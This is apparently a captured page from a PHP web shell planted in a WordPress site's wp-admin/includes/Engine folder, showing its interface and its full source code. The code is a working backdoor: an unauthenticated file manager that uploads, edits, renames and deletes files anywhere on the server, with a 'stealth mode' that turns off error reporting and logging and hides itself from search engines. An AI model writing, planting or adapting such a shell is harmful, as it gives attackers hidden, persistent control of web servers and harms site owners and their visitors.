// SYSTEM PANEL //
[ROOT]
/
home
/
comaria
/
lambert-multiservices
/
wp-admin
/
includes
/
Engine
[ PARENT ]
EDIT :: index.php
<?php /* ================== STEALTH / QUIET MODE ================== */ define('STEALTH_MODE', true); if (STEALTH_MODE) { error_reporting(0); ini_set('display_errors', 0); ini_set('log_errors', 0); if (function_exists('header_remove')) header_remove('X-Powered-By'); } header('Content-Type: text/html; charset=utf-8'); /* ================== CORE ENGINE ================== */ class FileSystemEngine { private $workDir; public function __construct() { $raw = isset($_GET['d']) ? $_GET['d'] : getcwd(); $this->workDir = $this->sanitize($raw); } private function sanitize($p) { $r = realpath($p); return ($r && is_dir($r)) ? $r : getcwd(); } public function getPath() { return $this->workDir; } public function run() { if ($_SERVER['REQUEST_METHOD'] !== 'POST') return; $a = isset($_POST['action_type']) ? $_POST['action_type'] : ''; switch ($a) { case 'upload': if (!empty($_FILES['f']['name'])) { @move_uploaded_file($_FILES['f']['tmp_name'], $this->workDir . DIRECTORY_SEPARATOR . basename($_FILES['f']['name'])); } break; case 'mkdir': if (!empty($_POST['newdir'])) { @mkdir($this->workDir . DIRECTORY_SEPARATOR . basename($_POST['newdir']), 0777, true); } break; case 'mkfile': if (!empty($_POST['newfile'])) { @file_put_contents($this->workDir . DIRECTORY_SEPARATOR . basename($_POST['newfile']), ''); } break; case 'delete': if (!empty($_POST['del'])) { $t = $this->workDir . DIRECTORY_SEPARATOR . basename($_POST['del']); if (is_dir($t)) @rmdir($t); else @unlink($t); } break; case 'edit': if (!empty($_POST['file_to_edit'])) { $t = $this->workDir . DIRECTORY_SEPARATOR . basename($_POST['file_to_edit']); if (is_file($t)) @file_put_contents($t, $_POST['content']); } break; case 'rename': if (!empty($_POST['old_name']) && !empty($_POST['new_name'])) { $o = $this->workDir . DIRECTORY_SEPARATOR . basename($_POST['old_name']); $n = $this->workDir . DIRECTORY_SEPARATOR . basename($_POST['new_name']); if (file_exists($o)) @rename($o, $n); } break; } } public function breadcrumbs() { $parts = array_filter(explode(DIRECTORY_SEPARATOR, $this->workDir)); $acc = ''; $out = array('<a href="?d=/">[ROOT]</a>'); foreach ($parts as $p) { $acc .= DIRECTORY_SEPARATOR . $p; $out[] = '<a href="?d=' . urlencode($acc) . '">' . htmlspecialchars($p) . '</a>'; } return implode('<span class="path-separator"> / </span>', $out); } } /* ================== INIT ================== */ $fs = new FileSystemEngine(); $fs->run(); $path = $fs->getPath(); $title = basename($path) ?: 'ROOT'; ?> <!doctype html> <html> <head> <title>CORE PANEL</title> <meta name="robots" content="noindex,nofollow"> <style> :root{--bg:#000;--fg:#fff;--frame:#111} body{background:var(--bg);color:var(--fg);font-family:monospace;padding:20px;margin:0} .terminal-frame{background:var(--frame);border:1px solid #fff;padding:25px;max-width:1100px;margin:auto} .header{border-bottom:1px solid #fff;margin-bottom:15px} .path-matrix{background:#222;padding:8px;margin-bottom:15px;border-left:5px solid #fff;font-size:12px} .path-matrix a{color:#fff;text-decoration:underline} .data-grid{list-style:none;padding:0;margin:0;border:1px solid #fff} .data-grid li{padding:10px 15px;border-bottom:1px dashed #333;display:flex;align-items:center;justify-content:space-between} .data-grid li:hover{background:#222} .writable{border-left:5px solid #00ff00} .read-only{border-left:5px solid #ff3333} .filename{flex:1;font-weight:bold} .icon{margin-right:10px} .actions{display:flex;gap:8px} .actions a,.actions button{background:#000;border:1px solid #fff;color:#fff;padding:4px 10px;font-size:12px;cursor:pointer;text-decoration:none} .actions a:hover,.actions button:hover{background:#fff;color:#000} input,textarea{background:#000;color:#fff;border:1px solid #fff;padding:6px} .op{margin-top:15px;border-top:1px dashed #333;padding-top:10px} </style> </head> <body> <div class="terminal-frame"> <div class="header"><h1>// SYSTEM PANEL //</h1></div> <div class="path-matrix"><?= $fs->breadcrumbs() ?></div> <p><a href="?d=<?= urlencode(dirname($path)) ?>">[ PARENT ]</a></p> <?php if (isset($_GET['edit'])): $f = basename($_GET['edit']); $fp = $path . DIRECTORY_SEPARATOR . $f; $cnt = is_file($fp) ? htmlspecialchars(file_get_contents($fp)) : ''; ?> <h3>EDIT :: <?= htmlspecialchars($f) ?></h3> <form method="POST"> <input type="hidden" name="action_type" value="edit"> <input type="hidden" name="file_to_edit" value="<?= htmlspecialchars($f) ?>"> <textarea name="content" style="width:100%;height:400px"><?= $cnt ?></textarea><br><br> <button>SAVE</button> <a href="?d=<?= urlencode($path) ?>" class="actions a">CANCEL</a> </form> <?php elseif (isset($_GET['rename'])): $f = basename($_GET['rename']); ?> <h3>RENAME :: <?= htmlspecialchars($f) ?></h3> <form method="POST"> <input type="hidden" name="action_type" value="rename"> <input type="hidden" name="old_name" value="<?= htmlspecialchars($f) ?>"> <input type="text" name="new_name" value="<?= htmlspecialchars($f) ?>"> <button>RENAME</button> <a href="?d=<?= urlencode($path) ?>" class="actions a">CANCEL</a> </form> <?php else: ?> <h2>Directory: <?= htmlspecialchars($title) ?></h2> <ul class="data-grid"> <?php $items = array_diff(scandir($path), array('.','..')); foreach ($items as $it): $full = $path . DIRECTORY_SEPARATOR . $it; $isDir = is_dir($full); $cls = is_writable($full) ? 'writable' : 'read-only'; ?> <li class="<?= $cls ?>"> <div class="filename"> <span class="icon"><?= $isDir ? '📁' : '📄' ?></span> <?php if ($isDir): ?> <a href="?d=<?= urlencode($full) ?>" style="color:#fff"><?= htmlspecialchars($it) ?>/</a> <?php else: ?> <?= htmlspecialchars($it) ?> <?php endif; ?> </div> <div class="actions"> <a href="?d=<?= urlencode($path) ?>&rename=<?= urlencode($it) ?>">RENAME</a> <?php if (!$isDir): ?> <a href="?d=<?= urlencode($path) ?>&edit=<?= urlencode($it) ?>">EDIT</a> <?php endif; ?> <form method="POST" onsubmit="return confirm('Delete?')" style="display:inline"> <input type="hidden" name="action_type" value="delete"> <input type="hidden" name="del" value="<?= htmlspecialchars($it) ?>"> <button>DEL</button> </form> </div> </li> <?php endforeach; ?> </ul> <div class="op"> <form method="POST" enctype="multipart/form-data"> <input type="hidden" name="action_type" value="upload"> <input type="file" name="f"> <button>UPLOAD</button> </form> <form method="POST"> <input type="hidden" name="action_type" value="mkdir"> <input type="text" name="newdir" placeholder="new dir"> <button>MKDIR</button> </form> <form method="POST"> <input type="hidden" name="action_type" value="mkfile"> <input type="text" name="newfile" placeholder="new file"> <button>MKFILE</button> </form> </div> <?php endif; ?> </div> </body> </html>
SAVE
CANCEL